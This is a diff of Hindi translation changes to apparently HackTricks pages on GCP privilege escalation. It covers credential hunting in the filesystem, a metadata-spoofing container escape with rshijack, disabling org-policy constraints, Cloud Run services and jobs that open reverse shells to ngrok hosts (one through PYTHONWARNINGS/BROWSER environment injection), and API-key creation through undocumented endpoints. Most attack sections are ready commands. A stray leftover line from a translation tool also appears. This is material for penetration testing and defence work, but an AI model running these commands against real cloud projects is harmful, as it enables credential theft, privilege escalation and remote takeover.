||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
## **IAM अनुमतियों का दुरुपयोग करना**
|
||||
## **Abusing IAM permissions**
|
||||
|
||||
निम्नलिखित प्रस्तावित अनुमतियों में से अधिकांश **डिफ़ॉल्ट Compute SA को दी गई हैं,** केवल समस्या यह है कि **डिफ़ॉल्ट एक्सेस स्कोप SA को उनका उपयोग करने से रोकता है।** हालाँकि, यदि **`cloud-platform`** **स्कोप** सक्षम है या केवल **`compute`** **स्कोप** सक्षम है, तो आप **इनका दुरुपयोग करने में सक्षम होंगे।**
|
||||
नीचे दिए गए अधिकांश permissions सामान्यतः **default Compute SA** को दिए जाते हैं, समस्या यह है कि **default access scope उन्हें उपयोग करने से रोकता है**। हालाँकि, यदि **`cloud-platform`** **scope** सक्षम है या केवल **`compute`** **scope** सक्षम है, तो आप उनका दुरुपयोग कर पाएँगे।
|
||||
|
||||
निम्नलिखित अनुमतियों की जांच करें:
|
||||
Check the following permissions:
|
||||
|
||||
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
|
||||
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
|
||||
@@ -42,13 +42,17 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
- [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata)
|
||||
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy)
|
||||
|
||||
## फ़ाइल सिस्टम में कुंजियों की खोज करें
|
||||
## Search for Keys in the filesystem
|
||||
|
||||
जांचें कि क्या अन्य उपयोगकर्ताओं ने बॉक्स के अंदर gcloud में लॉगिन किया है और फ़ाइल सिस्टम में अपने क्रेडेंशियल्स छोड़ दिए हैं:
|
||||
जाँचें कि क्या अन्य उपयोगकर्ताओं ने box के अंदर gcloud में लॉगिन किया है और अपनी credentials फ़ाइल सिस्टम में छोड़ी हैं:
|
||||
|
||||
<details><summary>फ़ाइल सिस्टम में gcloud credentials खोजें</summary>
|
||||
```
|
||||
sudo find / -name "gcloud"
|
||||
```
|
||||
ये सबसे दिलचस्प फ़ाइलें हैं:
|
||||
</details>
|
||||
|
||||
ये सबसे दिलचस्प फाइलें:
|
||||
|
||||
- `~/.config/gcloud/credentials.db`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json`
|
||||
@@ -56,6 +60,8 @@ sudo find / -name "gcloud"
|
||||
- `~/.credentials.json`
|
||||
|
||||
### अधिक API Keys regexes
|
||||
|
||||
<details><summary>Grep patterns for GCP credentials and keys</summary>
|
||||
```bash
|
||||
TARGET_DIR="/path/to/whatever"
|
||||
|
||||
@@ -87,6 +93,8 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
|
||||
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
|
||||
"$TARGET_DIR"
|
||||
```
|
||||
</details>
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
+31
-18
@@ -2,47 +2,60 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Initial State
|
||||
## प्रारंभिक स्थिति
|
||||
|
||||
इन दोनों लेखों में जहां इस तकनीक का उल्लेख किया गया है, हमलावरों ने GCP द्वारा प्रबंधित **Docker** कंटेनर के अंदर **root** एक्सेस प्राप्त करने में सफलता पाई, जिसमें होस्ट नेटवर्क तक पहुंच (और क्षमताएं **`CAP_NET_ADMIN`** और **`CAP_NET_RAW`**) शामिल हैं।
|
||||
इन दोनों राइटअप्स में जहाँ यह तकनीक बताई गयी है, हमलावरों ने GCP द्वारा प्रबंधित एक **Docker** container के अंदर **root** पहुँच हासिल कर ली थी, जिसको host नेटवर्क तक पहुँच थी (और capabilities **`CAP_NET_ADMIN`** और **`CAP_NET_RAW`**)।
|
||||
|
||||
## Attack Explanation
|
||||
## आक्रमण की व्याख्या
|
||||
|
||||
Google Compute Engine इंस्टेंस पर, नेटवर्क ट्रैफिक की नियमित जांच **metadata instance** पर कई **plain HTTP requests** का खुलासा करती है जो `169.254.169.254` पर होती हैं। [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), एक ओपन-सोर्स सेवा, अक्सर ऐसे अनुरोध करती है।
|
||||
एक Google Compute Engine instance पर नेटवर्क ट्रैफ़िक की सामान्य जाँच में कई बार `169.254.169.254` पर मौजूद **metadata instance** को भेजे जा रहे कई **plain HTTP requests** दिखाई देते हैं। [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), एक open-source सर्विस, अक्सर ऐसे अनुरोध भेजता है।
|
||||
|
||||
यह एजेंट **metadata में परिवर्तनों की निगरानी** करने के लिए डिज़ाइन किया गया है। विशेष रूप से, मेटाडेटा में **SSH सार्वजनिक कुंजी के लिए एक फ़ील्ड** शामिल है। जब मेटाडेटा में एक नई सार्वजनिक SSH कुंजी जोड़ी जाती है, तो एजेंट स्वचालित रूप से इसे `.authorized_key` फ़ाइल में **अधिकृत** करता है। यदि आवश्यक हो, तो यह **एक नया उपयोगकर्ता** भी **sudoers** में जोड़ सकता है।
|
||||
यह agent metadata में होने वाले बदलावों की निगरानी करने के लिए डिज़ाइन किया गया है। विशेष रूप से, metadata में **SSH public keys** के लिए एक फ़ील्ड शामिल होता है। जब metadata में एक नया public SSH key जोड़ा जाता है, तो agent इसे स्वचालित रूप से `.authorized_key` फाइल में **authorize** कर देता है। ज़रूरत पड़ने पर यह **नया user बना** भी सकता है और उन्हें **sudoers** में जोड़ सकता है।
|
||||
|
||||
एजेंट परिवर्तनों की निगरानी करने के लिए **सभी मेटाडेटा मानों को पुनरावृत्त करने** के लिए एक अनुरोध भेजता है (`GET /computeMetadata/v1/?recursive=true`)। यह अनुरोध मेटाडेटा सर्वर को केवल तब प्रतिक्रिया भेजने के लिए प्रेरित करने के लिए डिज़ाइन किया गया है जब पिछले पुनर्प्राप्ति के बाद मेटाडेटा में कोई परिवर्तन हुआ हो, जिसे एक Etag द्वारा पहचाना जाता है (`wait_for_change=true&last_etag=`)। इसके अतिरिक्त, एक **timeout** पैरामीटर (`timeout_sec=`) शामिल है। यदि निर्दिष्ट समय सीमा के भीतर कोई परिवर्तन नहीं होता है, तो सर्वर **अपरिवर्तित मानों** के साथ प्रतिक्रिया करता है।
|
||||
agent परिवर्तनों की निगरानी इस तरह करता है कि वह **सभी metadata मानों को recursive रूप से प्राप्त करने** के लिए एक अनुरोध भेजता है (`GET /computeMetadata/v1/?recursive=true`)। यह अनुरोध इस तरीके से बनाया गया है कि metadata सर्वर केवल तभी प्रतिक्रिया भेजे जब पिछली retrieval के बाद metadata में कोई बदलाव हुआ हो, जिसे एक Etag द्वारा पहचाना जाता है (`wait_for_change=true&last_etag=`)। इसके अलावा, एक **timeout** पैरामीटर (`timeout_sec=`) भी शामिल है। यदि निर्दिष्ट timeout के भीतर कोई बदलाव नहीं होता है, तो सर्वर **बिना बदले मानों** के साथ उत्तर देता है।
|
||||
|
||||
यह प्रक्रिया **IMDS** (Instance Metadata Service) को **60 सेकंड** के बाद प्रतिक्रिया देने की अनुमति देती है यदि कोई कॉन्फ़िगरेशन परिवर्तन नहीं हुआ है, जिससे मेहमान एजेंट के लिए एक संभावित **झूठी कॉन्फ़िगरेशन प्रतिक्रिया** इंजेक्ट करने का अवसर बनता है।
|
||||
इस प्रक्रिया से IMDS (Instance Metadata Service) को यह अनुमति मिलती है कि यदि कोई configuration परिवर्तन नहीं हुआ हो तो वह **60 seconds** के बाद प्रतिक्रिया दे सके, जो guest agent के लिए एक संभावित समय खिड़की पैदा करता है जिसमें एक नकली configuration response इंजेक्ट किया जा सकता है।
|
||||
|
||||
एक हमलावर इस स्थिति का लाभ उठाकर **Man-in-the-Middle (MitM) attack** कर सकता है, IMDS सर्वर से प्रतिक्रिया को स्पूफ करके और **एक नई सार्वजनिक कुंजी** डालकर। इससे होस्ट पर अनधिकृत SSH एक्सेस सक्षम हो सकता है।
|
||||
एक हमलावर इसका फायदा उठाकर एक **Man-in-the-Middle (MitM) attack** करके IMDS सर्वर से आने वाली प्रतिक्रिया को spoof कर सकता है और **एक नया public key डाल** सकता है। इससे host पर अनधिकृत SSH पहुँच संभव हो सकती है।
|
||||
|
||||
### Escape Technique
|
||||
### एस्केप तकनीक
|
||||
|
||||
हालांकि ARP स्पूफिंग Google Compute Engine नेटवर्क पर अप्रभावी है, [**rshijack का एक संशोधित संस्करण**](https://github.com/ezequielpereira/rshijack) जो [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) द्वारा विकसित किया गया है, पैकेट इंजेक्शन के लिए संचार में SSH उपयोगकर्ता को इंजेक्ट करने के लिए उपयोग किया जा सकता है।
|
||||
हालाँकि Google Compute Engine नेटवर्क पर ARP spoofing अप्रभावी है, [**rshijack**](https://github.com/ezequielpereira/rshijack) के [**संशोधित संस्करण**](https://github.com/ezequielpereira/rshijack) का उपयोग communication में packet injection के लिए किया जा सकता है ताकि SSH user इंजेक्ट किया जा सके। यह संस्करण ACK और SEQ नंबरों को command-line आर्ग्यूमेंट के रूप में लेने की अनुमति देता है, जिससे असली Metadata सर्वर की प्रतिक्रिया से पहले spoofed response भेजना संभव होता है। इसके अतिरिक्त, एक [**छोटा Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) उपयोग किया जाता है जो एक **विशेष रूप से तैयार payload** लौटाता है। यह payload Google Guest Agent को `.authorized_keys` फाइल में एक निर्दिष्ट public key के साथ उपयोगकर्ता `wouter` **बनाने** के लिए ट्रिगर करता है।
|
||||
|
||||
rshijack का यह संस्करण ACK और SEQ नंबरों को कमांड-लाइन तर्कों के रूप में इनपुट करने की अनुमति देता है, जिससे वास्तविक मेटाडेटा सर्वर प्रतिक्रिया से पहले प्रतिक्रिया को स्पूफ करना आसान हो जाता है। इसके अतिरिक्त, एक [**छोटी Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) का उपयोग **विशेष रूप से तैयार किए गए पेलोड** को लौटाने के लिए किया जाता है। यह पेलोड Google Guest Agent को **`wouter`** नाम का एक उपयोगकर्ता बनाने के लिए ट्रिगर करता है जिसमें `.authorized_keys` फ़ाइल में एक निर्दिष्ट सार्वजनिक कुंजी होती है।
|
||||
स्क्रिप्ट वही ETag उपयोग करती है ताकि Metadata सर्वर तुरंत Google Guest Agent को अलग metadata मानों के बारे में सूचित न कर सके, इस प्रकार प्रतिक्रिया में देरी की जा सके।
|
||||
|
||||
स्क्रिप्ट एक ही ETag का उपयोग करती है ताकि मेटाडेटा सर्वर तुरंत Google Guest Agent को विभिन्न मेटाडेटा मानों के बारे में सूचित न करे, इस प्रकार प्रतिक्रिया में देरी होती है।
|
||||
spoofing को निष्पादित करने के लिए, निम्नलिखित कदम आवश्यक हैं:
|
||||
|
||||
स्पूफिंग को निष्पादित करने के लिए, निम्नलिखित चरण आवश्यक हैं:
|
||||
1. **Monitor requests to the Metadata server** using **tcpdump**:
|
||||
|
||||
1. **Metadata सर्वर के लिए अनुरोधों की निगरानी करें** **tcpdump** का उपयोग करते हुए:
|
||||
<details>
|
||||
<summary>tcpdump के साथ metadata सर्वर अनुरोधों की निगरानी करें</summary>
|
||||
```bash
|
||||
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
|
||||
```
|
||||
Please provide the line you would like me to translate.
|
||||
</details>
|
||||
|
||||
इस तरह की किसी पंक्ति की तलाश करें:
|
||||
|
||||
<details>
|
||||
<summary>tcpdump आउटपुट पंक्ति का उदाहरण</summary>
|
||||
```
|
||||
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
|
||||
```
|
||||
2. सही ETAG के साथ नकली मेटाडेटा डेटा rshijack को भेजें:
|
||||
</details>
|
||||
|
||||
2. सही ETAG के साथ नकली metadata डेटा rshijack को भेजें:
|
||||
|
||||
<details>
|
||||
<summary>नकली metadata भेजें और host पर SSH करें</summary>
|
||||
```bash
|
||||
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
|
||||
```
|
||||
यह कदम सार्वजनिक कुंजी को अधिकृत करता है, जिससे संबंधित निजी कुंजी के साथ SSH कनेक्शन सक्षम होता है।
|
||||
</details>
|
||||
|
||||
## संदर्भ
|
||||
यह चरण public key को अधिकृत करता है, जिससे संबंधित private key के साथ SSH कनेक्शन सक्षम होता है।
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.ezequiel.tech/2020/08/dropping-shell-in.html](https://www.ezequiel.tech/2020/08/dropping-shell-in.html)
|
||||
- [https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
|
||||
|
||||
+20
-5
@@ -6,7 +6,10 @@
|
||||
|
||||
### `orgpolicy.policy.set`
|
||||
|
||||
एक attacker जो **orgpolicy.policy.set** का उपयोग करता है, वह संगठनात्मक नीतियों को बदल सकता है, जिससे वह कुछ ऐसे प्रतिबंध हटा सकेगा जो विशिष्ट ऑपरेशनों को रोक रहे हैं। उदाहरण के लिए, कन्स्ट्रेंट **appengine.disableCodeDownload** आमतौर पर App Engine के स्रोत कोड को डाउनलोड करने से रोकता है। हालांकि, **orgpolicy.policy.set** का उपयोग करके attacker इस कन्स्ट्रेंट को निष्क्रिय कर सकता है, और परिणामस्वरूप प्रारम्भ में संरक्षित होने के बावजूद स्रोत कोड डाउनलोड करने की पहुँच प्राप्त कर सकता है।
|
||||
**orgpolicy.policy.set** का उपयोग करने वाला attacker संगठनात्मक policies को बदल सकता है, जिससे वह उन कुछ प्रतिबंधों को हटा सकता है जो विशेष operations में बाधा डालते हैं। उदाहरण के लिए, constraint **appengine.disableCodeDownload** सामान्यतः App Engine source code के डाउनलोड को रोकता है। हालांकि, **orgpolicy.policy.set** का उपयोग करके attacker इस constraint को deactivate कर सकता है और इस प्रकार protected होने के बावजूद source code को डाउनलोड करने की पहुँच प्राप्त कर सकता है।
|
||||
|
||||
<details>
|
||||
<summary>org policy की जानकारी प्राप्त करें और enforcement को अक्षम करें</summary>
|
||||
```bash
|
||||
# Get info
|
||||
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --or
|
||||
# Disable
|
||||
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
```
|
||||
A python स्क्रिप्ट इस विधि के लिए [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py) पर मिल सकती है।
|
||||
</details>
|
||||
|
||||
इस विधि के लिए एक python स्क्रिप्ट [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py) मिल सकती है।
|
||||
|
||||
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
|
||||
|
||||
आम तौर पर किसी अलग project के service account को किसी resource से attach करना संभव नहीं होता क्योंकि एक policy constraint लागू रहती है जिसका नाम **`iam.disableCrossProjectServiceAccountUsage`** है जो इस क्रिया को रोकता है।
|
||||
आमतौर पर किसी अलग project के service account को किसी resource से attach करना संभव नहीं होता क्योंकि एक policy constraint लागू होती है जिसका नाम **`iam.disableCrossProjectServiceAccountUsage`** है जो इस क्रिया को रोकता है।
|
||||
|
||||
यह सत्यापित किया जा सकता है कि यह constraint लागू है या नहीं, निम्नलिखित command चलाकर:
|
||||
|
||||
<details>
|
||||
<summary>cross-project service account constraint सत्यापित करें</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies describe \
|
||||
constraints/iam.disableCrossProjectServiceAccountUsage \
|
||||
@@ -31,14 +39,21 @@ booleanPolicy:
|
||||
enforced: true
|
||||
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
|
||||
```
|
||||
यह हमलावर को अनुमति **`iam.serviceAccounts.actAs`** का दुरुपयोग करके किसी दूसरे प्रोजेक्ट के service account का impersonate करने से रोकता है — उदाहरण के लिए बिना अतिरिक्त इंफ्रा अनुमतियों के नया VM शुरू करने जैसी क्रियाओं के लिए — जो privilege escalation का कारण बन सकता है।
|
||||
</details>
|
||||
|
||||
हालाँकि, जिनके पास अनुमति **`orgpolicy.policy.set`** है वे इस प्रतिबंध को बायपास कर सकते हैं, constraint **`iam.disableServiceAccountProjectWideAccess`** को disable करके। इससे हमलावर अपने प्रोजेक्ट में किसी रिसोर्स के साथ दूसरे प्रोजेक्ट के service account को attach कर सकता है, effectively escalating his privileges.
|
||||
यह हमलावर को अनुमति **`iam.serviceAccounts.actAs`** का दुरुपयोग करके किसी अन्य प्रोजेक्ट के service account के रूप में छद्मवेश धारण करने से रोकता है, बिना अतिरिक्त आवश्यक इन्फ्रा अनुमतियों के (उदाहरण के लिए नया VM शुरू करने के लिए), जो कि privilege escalation का कारण बन सकता है।
|
||||
|
||||
हालाँकि, जिसके पास permissions **`orgpolicy.policy.set`** हैं वह इस प्रतिबंध को बायपास कर सकता है **`iam.disableServiceAccountProjectWideAccess`** constraint को disable करके। इससे हमलावर किसी अन्य प्रोजेक्ट के service account को अपने प्रोजेक्ट के किसी resource से जोड़ सकता है, जिससे प्रभावी रूप से उसके privileges बढ़ जाते हैं।
|
||||
|
||||
<details>
|
||||
<summary>क्रॉस-प्रोजेक्ट सर्विस अकाउंट प्रतिबंध अक्षम करें</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies disable-enforce \
|
||||
iam.disableCrossProjectServiceAccountUsage \
|
||||
--project=<project-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
@@ -12,15 +12,18 @@ Cloud Run के बारे में अधिक जानकारी क
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
एक हमलावर के पास **मनमाने कोड चलाने वाली एक रन सेवा बनाने** के लिए ये अनुमतियाँ हैं (मनमाना Docker कंटेनर), इसे एक सेवा खाता संलग्न करें, और कोड को **मेटाडेटा से सेवा खाता टोकन को एक्सफिल्ट्रेट** करने के लिए बनाएं।
|
||||
इन permissions के साथ एक attacker **create a run service running arbitrary code** (arbitrary Docker container) बना सकता है, उस पर एक Service Account attach कर सकता है, और कोड से **exfiltrate the Service Account token from the metadata** करवा सकता है।
|
||||
|
||||
इस विधि के लिए एक एक्सप्लॉइट स्क्रिप्ट [यहां](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) मिल सकती है और Docker इमेज [यहां](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage) मिल सकती है।
|
||||
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
ध्यान दें कि जब `gcloud run deploy` का उपयोग किया जाता है तो केवल सेवा बनाने के बजाय **इसकी `update` अनुमति की आवश्यकता होती है**। एक [**उदाहरण यहां**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh) देखें।
|
||||
ध्यान दें कि जब आप `gcloud run deploy` का उपयोग करते हैं सिर्फ सेवा बनाने के बजाय तो **इसे `update` permission चाहिए**। Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
पिछले वाले की तरह लेकिन एक सेवा को अपडेट करते हुए:
|
||||
पहले वाले जैसा ही है पर एक service को update करना:
|
||||
|
||||
<details>
|
||||
<summary>Deploy Cloud Run service with reverse shell</summary>
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
अपने आप को क्लाउड रन पर पूर्व अनुमति दें।
|
||||
cloud Run पर स्वयं को पूर्व अनुमतियाँ दें।
|
||||
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
कमांड में निर्दिष्ट सेवा खाते को चुराने के लिए एक रिवर्स शेल के साथ एक नौकरी लॉन्च करें। आप एक [**शोषण यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh) पा सकते हैं।
|
||||
कमांड में निर्दिष्ट service account चुराने के लिए reverse shell के साथ एक job लॉन्च करें। एक [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh) यहाँ पाया जा सकता है।
|
||||
|
||||
<details>
|
||||
<summary>reverse shell के साथ Cloud Run job बनाएँ</summary>
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
पिछले की तरह, एक **जॉब को अपडेट करना और SA को अपडेट करना** संभव है, **कमांड** और **इसे निष्पादित करना**:
|
||||
पिछले वाले की तरह यह संभव है कि आप **job और SA को अपडेट करें**, **command** को बदलें और उसे execute कर सकें:
|
||||
|
||||
<details>
|
||||
<summary>Cloud Run job को अपडेट करें और reverse shell के साथ execute करें</summary>
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -64,16 +77,23 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Cloud Jobs पर पिछले अनुमतियाँ दें।
|
||||
Cloud Jobs पर पहले दी गई अनुमतियाँ स्वयं को दें।
|
||||
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
एक नौकरी के निष्पादन के env वेरिएबल्स का दुरुपयोग करें ताकि मनमाना कोड निष्पादित किया जा सके और कंटेनर की सामग्री (स्रोत कोड) को डंप करने के लिए एक रिवर्स शेल प्राप्त किया जा सके और मेटाडेटा के अंदर SA तक पहुंच प्राप्त की जा सके:
|
||||
Job execution के env variables का दुरुपयोग करके arbitrary code चलाकर एक reverse shell हासिल करें, ताकि container की सामग्री (source code) dump की जा सके और metadata के अंदर मौजूद SA तक पहुँच बनाई जा सके:
|
||||
|
||||
<details>
|
||||
<summary>Execute Cloud Run job with environment variable exploitation</summary>
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
</details>
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+11
-3
@@ -12,12 +12,16 @@ secretmanager के बारे में अधिक जानकारी
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
यह आपको सीक्रेट मैनेजर से सीक्रेट पढ़ने की अनुमति देता है और शायद यह विशेषाधिकार बढ़ाने में मदद कर सकता है (इस पर निर्भर करता है कि सीक्रेट के अंदर कौन सी जानकारी संग्रहीत है):
|
||||
यह आपको secret manager से secrets पढ़ने की अनुमति देता है और यह अधिकारों (privileges) बढ़ाने में मदद कर सकता है (निर्भर करता है कि secret के अंदर कौन सी जानकारी संग्रहीत है):
|
||||
|
||||
<details><summary>Clear-text secret version प्राप्त करें</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
चूंकि यह भी एक पोस्ट एक्सप्लॉइटेशन तकनीक है, इसे निम्नलिखित में पाया जा सकता है:
|
||||
</details>
|
||||
|
||||
चूंकि यह भी एक post exploitation तकनीक है, इसे यहाँ पाया जा सकता है:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
@@ -25,10 +29,14 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
यह आपको सीक्रेट मैनेजर से सीक्रेट पढ़ने की अनुमति देता है, जैसे कि उपयोग करते समय:
|
||||
यह आपको secret manager से secrets पढ़ने का access देता है, जैसे:
|
||||
|
||||
<details><summary>Add IAM policy binding to secret</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+21
-13
@@ -4,11 +4,11 @@
|
||||
|
||||
## serviceusage
|
||||
|
||||
निम्नलिखित अनुमतियाँ API कुंजी बनाने और चुराने के लिए उपयोगी हैं, दस्तावेज़ से यह नोट करें: _एक API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी भी प्रिंसिपल के बिना एक एप्लिकेशन की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी हैं, और आपके प्रोजेक्ट के लिए कोटा और **बिलिंग** के लिए API अनुरोधों को **संयुक्त** करने के लिए उपयोग की जाती हैं।_
|
||||
निम्नलिखित permissions API keys बनाने और चुराने के लिए उपयोगी हैं, डॉक्यूमेंट्स से नोट करें: _API key एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी principal के बिना किसी application की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी होते हैं, और quota और **billing** के लिए आपके project के साथ API requests को **associate** करने में इस्तेमाल होते हैं।_
|
||||
|
||||
इसलिए, एक API कुंजी के साथ आप उस कंपनी को API के आपके उपयोग के लिए भुगतान करवा सकते हैं, लेकिन आप विशेषाधिकारों को बढ़ाने में सक्षम नहीं होंगे।
|
||||
इसलिए, एक API key के साथ आप उस कंपनी को अपने API उपयोग का भुगतान करवाने के लिए मजबूर कर सकते हैं, लेकिन आप privileges escalate नहीं कर पाएँगे।
|
||||
|
||||
अन्य अनुमतियों और API कुंजी उत्पन्न करने के तरीकों को जानने के लिए देखें:
|
||||
अन्य permissions और API keys जनरेट करने के तरीकों के बारे में जानने के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-apikeys-privesc.md
|
||||
@@ -16,37 +16,45 @@ gcp-apikeys-privesc.md
|
||||
|
||||
### `serviceusage.apiKeys.create`
|
||||
|
||||
एक undocumented API मिली है जिसका उपयोग **API कुंजी बनाने** के लिए किया जा सकता है:
|
||||
एक undocumented API मिला है जिसका उपयोग **create API keys** करने के लिए किया जा सकता है:
|
||||
|
||||
<details><summary>Create API key using undocumented API</summary>
|
||||
```bash
|
||||
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `serviceusage.apiKeys.list`
|
||||
|
||||
एक और अप्रलेखित API मिली जो पहले से बनाए गए API कुंजियों की सूची बनाने के लिए है (API कुंजियाँ प्रतिक्रिया में दिखाई देती हैं):
|
||||
पहले से बनाए गए API keys को सूचीबद्ध करने के लिए एक और अनदस्तावेज़ API मिला (API keys प्रतिक्रिया में प्रदर्शित होते हैं):
|
||||
|
||||
<details><summary>अनदस्तावेज़ API का उपयोग करके API keys सूचीबद्ध करें</summary>
|
||||
```bash
|
||||
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
